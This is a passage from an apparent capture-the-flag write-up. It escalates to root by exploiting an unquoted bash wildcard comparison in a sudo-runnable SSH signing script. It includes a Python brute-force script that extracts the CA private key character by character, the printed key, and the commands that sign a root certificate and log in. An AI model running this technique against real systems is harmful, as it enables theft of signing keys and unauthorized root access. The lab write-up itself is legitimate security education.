ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principal" "$public_key_file"

This script, as the previous one did, checks that the inputs are valid. It checks if the certificate file is equal to the content of /etc/ssh/ca-it for the certificate file provided. If it is, it exits the script. Now, the tricky part are at lines:

itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if ` $itca == $ca `; then
    echo "Error: Use API for signing with this CA."
    usage
fi

To explain this, the following script might provide a better approach:

#!/bin/bash

var1="ThisIsAnExample"
var2="This*"

if ` $var1 == $var2 `; then
  echo 'var1 is equal to var2'
fi

if ` $var2 == $var1 `; then
  echo 'var2 is equal to var1'
fi

and running it:

❯ ./test.sh

var1 is equal to var2

Only the first condition is true. This is due to the wildcard character (*). Basically, in the first condition, we are saying “var1, that is defined as ThisIsAnExample, is equal to This and then anything; but var2, defined as This and then anything, is not equal to ThisIsAnExample”. Since the script that we can run as root will throw an error if both certificates are equal, and it will print the error message Error: Use API for signing with this CA.we can then use this error to slowly build the key based on this error. Additionally, the script does not consider root_user principal/role as valid, but since the equality verification is before that, this should not be a problem.

First, we need to generate again a keypar.pub file in the current directory:

zzinter@ssg:~$ ssh-keygen -t rsa -b 2048 -f keypair

Now, we can use the following Python script that plays with the exit status code of sudo /opt/sign_key.sh and the comparison using wildcards * to get the SSH certificate. Since we are running it in the victim machine, we are only allowed to use built-in libraries/functions:

import string
import subprocess
from sys import exit as sys_exit
from os import system as os_system

SSH_key_header: str = "-----BEGIN OPENSSH PRIVATE KEY-----"
SSH_key_footer: str = "-----END OPENSSH PRIVATE KEY-----"

charmap: list[str] = list('-' + string.ascii_letters + string.digits + '+/=')
name_fake_key: str = 'generated_key.key'
current_key: str = ''
n_lines: int = 0
while True:
    for char in charmap:
        content_key = f"{SSH_key_header}\n{current_key}{char}*"
        with open(name_fake_key, 'w') as f:
            f.write(content_key)
        os_system('clear')
        print(content_key)
        execute_command = subprocess.run(f"sudo /opt/sign_key.sh {name_fake_key} keypair.pub root root_user 1", shell=True, stdout=subprocess.PIPE, text=True)
        if (execute_command.returncode == 1) and ('API' in execute_command.stdout):
            current_key += char
            if (len(current_key) > 1) and ((len(current_key) - n_lines)%70 == 0):
                current_key += "\n"
                n_lines += 1
            break
    else:
        break


final_key = f"{SSH_key_header}\n{current_key}\n{SSH_key_footer}"

with open('obtained_key.key', 'w') as f:
    f.write(final_key)
print(f"[+] Key extracted:\n{final_key}")

We pass this script to the victim machine and run it:

zzinter@ssg:~$ python3 build_key.py

We can also see how the key is being “built”. After it is done a file obtained_certificate.cert should be there:

zzinter@ssg:~$ cat obtained_key.key ; echo

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAKg7BlysOwZc
rAAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQ
AAAEBexnpzDJyYdz+91UG3dVfjT/scyWdzgaXlgx75RjYOo4Hg8Cudy1ShyYfqzC3ANlgA
cW7Q4MoZuezAE8mNFSmxAAAAIkdsb2JhbCBTU0cgU1NIIENlcnRmaWNpYXRlIGZyb20gSV
QBAgM=
-----END OPENSSH PRIVATE KEY-----

I will pass this certificate/key to my attacker machine, save it as root_certificate.cert, and use it to sign keypair.pub file:

❯ ssh-keygen -s root_certificate.cert -z 1 -I root -V -1w:forever -n root_user keypair.pub

Signed user key keypair-cert.pub: id "root" serial 1 for root_user valid after 2024-09-20T01:52:49

It created a keypair-cert.pub file.

Now that our keypair-cert.pub file is signed and created, we can finally use it to log in as root in the host machine:

❯ ssh -o CertificateFile=keypair-cert.pub -i keypair root@10.10.11.27 -p 2222

<SNIP>

root@ssg:~# whoami

root

And we are root. We can read root user flag at /root directory.

~Happy Hacking